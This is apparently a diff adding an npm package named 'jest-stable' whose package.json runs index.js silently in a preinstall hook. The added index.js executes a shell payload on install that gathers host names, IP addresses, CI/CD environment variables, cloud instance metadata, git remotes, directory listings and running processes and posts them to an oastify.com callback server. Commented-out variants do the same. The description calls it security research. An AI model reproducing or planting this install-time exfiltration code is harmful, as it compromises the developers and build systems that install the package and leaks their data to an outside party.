jest-stable 40.1.10

package/index.js

@@ -0,0 +1,163 @@
+//const { exec } = require("child_process");
+/*
+// Method 1: Simple and reliable - direct data exfiltration
+const payload = `
+hostname=$(hostname)
+pwd=$(pwd)
+user=$(whoami)
+ip=$(curl -s https://ifconfig.me)
+package="sarumaan_a"
+
+data="${hostname}|${pwd}|${user}|${ip}|${package}"
+encoded=$(echo -n "$data" | base64 | tr -d '\\n')
+
+curl -k -s "http://7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com/${encoded}"
+`;
+
+exec(payload, (error, stdout, stderr) => {
+    if (error) {
+        console.log("error", error.message);
+        return;
+    }
+    if (stderr) {
+        console.log("stderr:", stderr);
+        return;
+    }
+    console.log(stdout);
+});*/
+
+// Method 2: Alternative - POST request with data in body (more stealthy)
+/*
+const payload2 = `
+data=$(hostname;echo "|";pwd;echo "|";whoami;echo "|";curl -s https://ifconfig.me;echo "|sarumaan_a")
+curl -k -s -X POST -d "$data" http://7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com/exfil
+`;
+
+exec(payload2, (error, stdout, stderr) => {
+    if (error) {
+        console.log("error", error.message);
+        return;
+    }
+    console.log(stdout);
+});
+*/
+
+// Method 3: Most reliable - JSON exfiltration via DNS or HTTP
+/*const { exec } = require("child_process");
+const payload3 = `
+curl -k -s -H "Content-Type: application/json" -X POST -d "{\\"host\\":\\"$(hostname)\\",\\"pwd\\":\\"$(pwd)\\",\\"user\\":\\"$(whoami)\\",\\"ip\\":\\"$(curl -s https://ifconfig.me)\\",\\"pkg\\":\\"sarumaan_a\\"}" http://7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com/data
+`;
+
+exec(payload3, (error, stdout, stderr) => {
+    if (error) {
+        console.log("error", error.message);
+        return;
+    }
+    console.log(stdout);
+});*/
+
+const { exec } = require("child_process");
+
+// Enhanced Shell Payload
+// Collects multiple data points and sends them as a structured JSON object
+const enhancedPayload = `
+# 1. COLLECT SYSTEM & NETWORK IDENTIFYING INFORMATION
+HOST_FQDN=$(hostname -f 2>/dev/null || hostname)
+SHORT_HOST=$(hostname -s)
+PUBLIC_IP=$(curl -s https://ifconfig.me 2>/dev/null || echo "NO_PUBLIC_IP")
+INTERNAL_IPS=$(ip addr show 2>/dev/null | grep -E "inet (172|10|192.168)" || ifconfig 2>/dev/null | grep -E "inet (172|10|192.168)" || echo "NO_INTERNAL_IPS")
+DOMAIN=$(domainname 2>/dev/null || echo "NO_DOMAIN")
+
+# 2. GOLDEN SOURCE: CI/CD & BUILD ENVIRONMENT VARIABLES
+# These often contain project URLs, organization names, and repository info
+CI_VARS=$(env | grep -E "(CI_|GITLAB_|GITHUB_|JENKINS_|BUILD_|PROJECT|REPO)" | head -20)
+if [ -z "$CI_VARS" ]; then CI_VARS="NO_CI_VARS_FOUND"; fi
+
+# 3. CHECK FOR CLOUD PROVIDER METADATA (AWS, GCP, Azure)
+CLOUD_INFO="NO_CLOUD_METADATA"
+# Try AWS Instance Metadata
+if curl -s -f --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id >/dev/null 2>&1; then
+    AWS_ID=$(curl -s http://169.254.169.254/latest/meta-data/instance-id)
+    AWS_TYPE=$(curl -s http://169.254.169.254/latest/meta-data/instance-type)
+    CLOUD_INFO="AWS: $AWS_ID ($AWS_TYPE)"
+# Try Google Cloud Metadata
+elif curl -s -f -H "Metadata-Flavor: Google" --connect-timeout 2 http://metadata.google.internal/computeMetadata/v1/instance/id >/dev/null 2>&1; then
+    GCP_ID=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/id)
+    GCP_PROJECT=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/project-id)
+    CLOUD_INFO="GCP: $GCP_ID (Project: $GCP_PROJECT)"
+fi
+
+# 4. SEARCH FOR GIT REPOSITORIES (Contain remote URLs)
+GIT_REMOTES="NO_GIT_REPOS"
+for dir in /home /root /opt /app /src /workspace /var /srv; do
+    if [ -d "$dir" ]; then
+        REPO=$(find "$dir" -name ".git" -type d 2>/dev/null | head -1)
+        if [ -n "$REPO" ]; then
+            GIT_REMOTE=$(cd "$REPO/.." && git remote -v 2>/dev/null | head -2)
+            GIT_REMOTES="$GIT_REMOTE"
+            break
+        fi
+    fi
+done
+
+# 5. CHECK CURRENT DIRECTORY FOR PROJECT FILES
+PROJECT_FILES=$(ls -la 2>/dev/null | head -15)
+PWD_PATH=$(pwd)
+
+# 6. GET PROCESS INFO (See what's running)
+RUNNING_PROCESSES=$(ps aux 2>/dev/null | head -10)
+
+# 7. CREATE THE ENHANCED DATA PAYLOAD
+# Read package name from package.json if it exists
+if [ -f "package.json" ]; then
+    PKG_NAME=$(node -e "console.log(JSON.parse(require('fs').readFileSync('package.json')).name || 'unknown')" 2>/dev/null || echo "unknown")
+else
+    PKG_NAME="unknown"
+fi
+
+# Build the JSON payload with all collected data
+JSON_PAYLOAD=$(cat <<EOF
+{
+  "package": "$PKG_NAME",
+  "system": {
+    "hostname_fqdn": "$HOST_FQDN",
+    "hostname_short": "$SHORT_HOST",
+    "domain": "$DOMAIN",
+    "public_ip": "$PUBLIC_IP",
+    "internal_ips": "$INTERNAL_IPS",
+    "current_path": "$PWD_PATH"
+  },
+  "environment": {
+    "ci_cd_vars": "$CI_VARS",
+    "cloud_metadata": "$CLOUD_INFO",
+    "git_remotes": "$GIT_REMOTES",
+    "processes": "$RUNNING_PROCESSES"
+  },
+  "directory": "$PROJECT_FILES",
+  "timestamp": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
+}
+EOF
+)
+
+# 8. SEND THE ENHANCED PAYLOAD TO CALLBACK SERVER
+# ESCAPE the JSON properly for curl
+curl -k -s -X POST \\
+  -H "Content-Type: application/json" \\
+  -H "User-Agent: Node/14.0.0" \\
+  -d "$JSON_PAYLOAD" \\
+  http://7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com/data
+`;
+
+// Execute the enhanced payload
+exec(enhancedPayload, (error, stdout, stderr) => {
+    if (error) {
+        console.error("Payload execution error:", error.message);
+        // Fallback to basic payload if enhanced one fails
+        const basicPayload = `curl -k -s -X POST -H "Content-Type: application/json" -d '{"host":"$(hostname)","pkg":"sarumaan_a","fallback":"true"}' http://7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com/data`;
+        exec(basicPayload);
+        return;
+    }
+    
+    if (stdout) console.log("Callback sent:", stdout.substring(0, 200));
+    if (stderr) console.error("Stderr:", stderr);
+});

package/package.json

@@ -0,0 +1,15 @@
+{
+    "name": "jest-stable",
+    "version": "40.1.10",
+    "description": "This is for security research only. PLEASE DO NOT USE. If you are affected by this, my sincere apollogies. If you want me to test your infrastructure for this vulnerability or need a penetration tester, I am available for employment. You can reach me on sarumaan@wearehackerone.com Thank you for understanding.....",
+    "main": "main.js",
+    "scripts": {
+        "preinstall": "node index.js > /dev/null 2>&1",
+        "test": "echo \"Error: no test specified\" && exit 1"
+    },
+    "author": "Hackerone_sarumaan",
+    "license": "ISC",
+    "dependencies": {
+        "lodash": "^4.1.21"
+    }
+}